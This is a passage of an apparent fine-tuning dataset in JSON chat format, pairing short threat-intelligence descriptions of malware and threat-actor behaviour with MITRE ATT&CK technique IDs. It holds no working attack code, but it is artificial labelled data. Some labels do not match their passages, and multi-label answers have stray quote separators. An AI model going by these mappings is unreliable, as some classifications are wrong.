                "content": "T1052.001 - Exfiltration over USB"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gamaredon Group has used HTTP and HTTPS for C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CreepyUp: uploads any file to the C&C server."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Impacket's wmiexec module can be used to execute commands through WMI."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Misdat saves itself as a file named `msdtc.exe`, which is also the name of the legitimate Microsoft Distributed Transaction Coordinator service binary."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "We observed that the InstallUtil.exe process was being created in suspended mode. Once it started execution, we compared its memory artifacts to a benign execution of InstallUtil.exe and concluded that the malicious payload is being injected into the memory of the newly spawned InstallUtil.exe process. We also observed that no arguments are passed to InstallUtil, which would cause an error under normal execution since InstallUtil always expects at least one argument."
            },
            {
                "role": "assistant",
                "content": "T1218.004 - Signed Binary Proxy Execution: InstallUtil"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In this case, after the payload is delivered via an exploit the threat actor places files (named upload.bat, upload.rar, and period.txt, download.txt or silent.txt) in a directory on a Dropbox account"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Endpoint Protection . The Trojan.Hydraq Incident . It has been about a week since news of the mysterious Hydraq Trojan (also known as Aurora) attack broke with the unveiling of a threat by Google to pull its operations out of China. Although concrete details of the attacks are not yet public, Google made reference to a number of Gmail accounts that were compromised during or after the attacks. Anatomy of the Attack For a number of years targeted attacks have nearly always followed the same modus operandi. In the more sophisticated attacks, the attacker will use a new zero day vulnerability, as obviously this will have a greater success rate. In this attack a PDF file was used to exploit the Adobe Acrobat, Reader, and Flash Player Remote Code Execution Vulnerability (CVE-2009-1862/BID35759). This PDF installed a Trojan horse which was an earlier version of the current Trojan.Hydraq. This means the remote attacker has the ability to see in real time any user interface activity as if they were sitting right next to the user. As described in the previously posted blog (Hydraq - An Attack of Mythical Proportions), an unpatched Internet Explorer vulnerability (BID 37815) was used as one of the propagation vectors for this particular Trojan.Hydraq attack. This security hole allows remote exploitation, which means that attackers can run any malicious code of their liking on a victim’s machine by taking advantage of the vulnerability. The number of computers we have observed being attacked or have been attacked is low as borne out by our field detection statistics. Prevention &amp; Mitigation Trojan.Hydraq has been known to be spread through specially crafted PDF files and also through malicious Web sites"
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ADVSTORESHELL connects to port 80 of a C2 server using Wininet API. Data is exchanged via HTTP POSTs."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In the following example, archives for exfiltration were renamed as .tmp files:  move \\\\{FILE PATH}\\c$\\programdata\\AT.part01.rar  \\\\{FILE PATH}\\c$\\programdata\\at01.tmp The TMP files were then staged for exfiltration on Internet-facing servers that had previously been compromised with the China Chopper web shell"
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion', 'T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware also stops security software-related processes to evade detection and termination of its malicious activities"
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery', 'T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Mimikatz's \"CRYPTO::Extract\" module can extract keys by interacting with Windows cryptographic application programming interface (API) functions."
            },
            {
                "role": "assistant",
                "content": "T1552.004 - Unsecured Credentials: Private Keys"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can obtain a list of running processes on the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TDTESS provides a reverse shell on the victim."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "creates a new service named “ntssrv” to execute the payload."
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution', 'T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hildegard has established tmate sessions for C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1219 - Remote Access Software"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Saint Bot has written its payload into a newly-created `EhStorAuthn.exe` process using `ZwWriteVirtualMemory` and executed it using `NtQueueApcThread` and `ZwAlertResumeThread`."
            },
            {
                "role": "assistant",
                "content": "T1055.004 - Process Injection: Asynchronous Procedure Call"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ThiefQuest can download and execute payloads in-memory or from disk."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN6 has extracted password hashes from ntds.dit to crack offline."
            },
            {
                "role": "assistant",
                "content": "T1110.002 - Brute Force: Password Cracking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Revenge RAT has a plugin for microphone interception."
            },
            {
                "role": "assistant",
                "content": "T1123 - Audio Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In the implementation of Flagpro v1.0, if a dialog titled “Windows セキュリティ” is displayed when Flagpro accesses to an external site, Flagpro automatically clicks OK button to close the dialog. This handling also works when the dialog is written Chinese and English. It can indicate the targets are Japan, Taiwan, and English-speaking countries. Flagpro v2.0 checks whether both username and password are filled in a dialog as an additional feature before clicking the OK button"
            },
            {
                "role": "assistant",
                "content": "T1614.001 - System Location Discovery: System Language Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "leveraged a watering hole to serve up malicious code."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Squirrelwaffle has been obfuscated with a XOR-based algorithm."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This simply acts as cleanup to ensure original file artifacts no longer reside on the infected machine"
            },
            {
                "role": "assistant",
                "content": "T1070 - Indicator Removal on Host"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "accesses the HKLM\\System\\CurrentControlSet\\Services\\mssmbios\\Data\\SMBiosData Registry key to obtain the System manufacturer value to identify the machine type."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BackdoorDiplomacy has used NetCat and PortQry  to enumerate network connections and display the status of related TCP and UDP ports."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "We identified new MSIL components deployed by Zebrocy. While recent Zebrocy versioning was 7.1, some of the related Zebrocy modules that drop file-stealing MSIL modules we call Covfacy were v7.0. For example, one sent out to a handful of countries identifies network drives when they are added to target systems, and then RC4-like-encrypts and writes certain file metadata and contents to a local path for later exfiltration. The stealer searches for files 60mb and less with these extensions"
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GoldenSpy has used HTTP over ports 9005 and 9006 for network traffic, 9002 for C2 requests, 33666 as a WebSocket, and 8090 to download files."
            },
            {
                "role": "assistant",
                "content": "T1571 - Non-Standard Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Skidmap is a kernel-mode rootkit used for cryptocurrency mining."
            },
            {
                "role": "assistant",
                "content": "T1496 - Resource Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SILENTTRINITY can create a backdoor in KeePass using a malicious config file and in TortoiseSVN using a registry hook."
            },
            {
                "role": "assistant",
                "content": "T1556 - Modify Authentication Process"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lastly, the attackers used Comodo code-signing certificates several times during the course of the campaign. Many of the above TTPs are not unique to ITG08, but collectively, and with the use of More_eggs, strengthen the link to this group"
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "creates a backdoor through which remote attackers can download files onto compromised hosts."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Stuxnet schedules a network job to execute two minutes after host infection."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Daum variants of Brave Prince gather information from the system and save it to the file PI_00.dat. The type of data this implant gathers from the victim’s system"
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery', 'T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Figure 3 outlines the architecture of Crutch version 3. It includes a backdoor that communicates with a hardcoded Dropbox account using the official HTTP API. In some variants, we noticed the presence of recovery C&amp;C channels using either GitHub or a regular domain"
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PROMETHIUM has attempted to get users to execute compromised installation files for legitimate software including compression applications, security software, browsers, file recovery applications, and other tools and utilities."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Agent Tesla has the ability to decrypt strings encrypted with the Rijndael symmetric encryption algorithm."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN10 has used stolen credentials to connect remotely to victim networks using VPNs protected with only a single factor."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Leviathan has inserted garbage characters into code, presumably to avoid anti-virus detection."
            },
            {
                "role": "assistant",
                "content": "T1027.001 - Obfuscated Files or Information: Binary Padding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The location of the working directory is determined by the instructions from the remote server. The directory is used as temporary storage for files containing collected data about the compromised computer"
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Aquatic Panda has attempted to harvest credentials through LSASS memory dumping."
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The QakBot web inject module can inject Java Script into web banking pages visited by the victim."
            },
            {
                "role": "assistant",
                "content": "T1059.007 - Command and Scripting Interpreter: JavaScript"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Fysbis has the ability to delete files."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Clambling dropper can use PowerShell to download the malware."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gazer logs its actions into files that are encrypted with 3DES. It also uses RSA to encrypt resources."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Metamorfo has injected a malicious DLL into the Windows Media Player process (wmplayer.exe)."
            },
            {
                "role": "assistant",
                "content": "T1055.001 - Process Injection: Dynamic-link Library Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Since Operation Clandestine Fox, we have observed this actor execute multiple attacks that did not rely on zero-day exploits. The combination of this sustained operational tempo and lack of zero-day exploits may indicate that this group has changed strategy and has decided to attack more frequently and does not have steady access to zero-day exploit code. No matter the strategy, this actor has shown an ability to operate successfully"
            },
            {
                "role": "assistant",
                "content": "T1068 - Exploitation for Privilege Escalation', 'T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PoshC2 contains multiple modules for injecting into processes, such as \"Invoke-PSInject\"."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Chimera has staged stolen data on designated servers in the target environment."
            },
            {
                "role": "assistant",
                "content": "T1074.002 - Remote Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Rover takes screenshots of the compromised system's desktop and saves them to \"C:\\system\\screenshot.bmp\" for exfiltration every 60 minutes."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GrimAgent has the ability to set persistence using the Task Scheduler."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DHS and FBI identified the threat actors leveraging remote access services and infrastructure such as VPN, RDP, and Outlook Web Access (OWA). The threat actors used the infrastructure of staging targets to connect to several intended targets"
            },
            {
                "role": "assistant",
                "content": "T1114.002 - Email Collection: Remote Email Collection', 'T1133 - External Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "enumerates directories and obtains file attributes on a system."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "is sometimes signed with an invalid Authenticode certificate in an apparent effort to make it look more legitimate."
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BBK has the ability to download files from C2 to the infected host."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Janicab captured audio and sent it out to a C2 server."
            },
            {
                "role": "assistant",
                "content": "T1123 - Audio Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This private data includes stored passwords, login credential information from Web browsers, and a variety of cryptocurrency wallets"
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Process name, service name, and driver path listings are obtained, and each value is hashed via the FNV-1a + XOR algorithm as described previously and checked against hardcoded blocklists. Some of these hashes have been brute force reversed as part of this analysis, showing that these routines are scanning for analysis tools and antivirus engine components. If a blocklisted process is found the Update routine exits and the sample will continue to try executing the routine until the blocklist passes. Some entries in the service list if found on the system may affect the DGA algorithms behavior in terms of the values generated. The list of stopped services is then bit-packed into the ReportWatcherPostpone key of the appSettings entry for the samples’ config file. The sample retrieves a driver listing via the WMI query Select * From Win32_SystemDriver"
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Explosive has a function to download a file to the infected system."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kazuar gathers information about local groups and members."
            },
            {
                "role": "assistant",
                "content": "T1069.001 - Permission Groups Discovery: Local Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Over a few days' span, the threat actors install remote access tools on additional systems based upon the results of the network reconnaissance. They use At.exe to schedule tasks to run self-extracting RAR archives, which install either HttpBrowser or PlugX. CTU researchers observed the threat actors collecting Cisco VPN profiles to use when accessing the victim's network via VPN (see Figure 13"
            },
            {
                "role": "assistant",
                "content": "T1053.002 - Scheduled Task/Job: At', 'T1133 - External Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ZIRCONIUM has used a tool to capture the processor architecture of a compromised host in order to register it with C2."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "leveraged a compiled HTML file that contained a command to download and run an executable."
            },
            {
                "role": "assistant",
                "content": "T1218.001 - Signed Binary Proxy Execution: Compiled HTML File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT28 has enumerated installed applications on macOS devices with built-in utilities such as \"ls -al /Applications\"."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "POLONIUM has used compromised credentials from an IT company to target downstream customers including a law firm and aviation company."
            },
            {
                "role": "assistant",
                "content": "T1199 - Trusted Relationship"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "collects the group name of the logged-in user and sends it to the C2."
            },
            {
                "role": "assistant",
                "content": "T1069 - Permission Groups Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT28 has used a modified and obfuscated version of the reGeorg web shell to maintain persistence on a target's Outlook Web Access (OWA) server."
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sidewinder has used PowerShell to drop and execute malware loaders."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GCMAN uses Putty for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1021.004 - Remote Services: SSH"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "We determined the string in the pre tags is the actor provided password, which the webshell uses as a key to decrypt the embedded payload. We determined this by following the process in which the TwoFace++ loader webshell uses the actor provided password to authenticate and decrypt the embedded webshell:"
            },
            {
                "role": "assistant",
                "content": "T1552.004 - Unsecured Credentials: Private Keys"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Denis encodes the data sent to the server in Base64."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
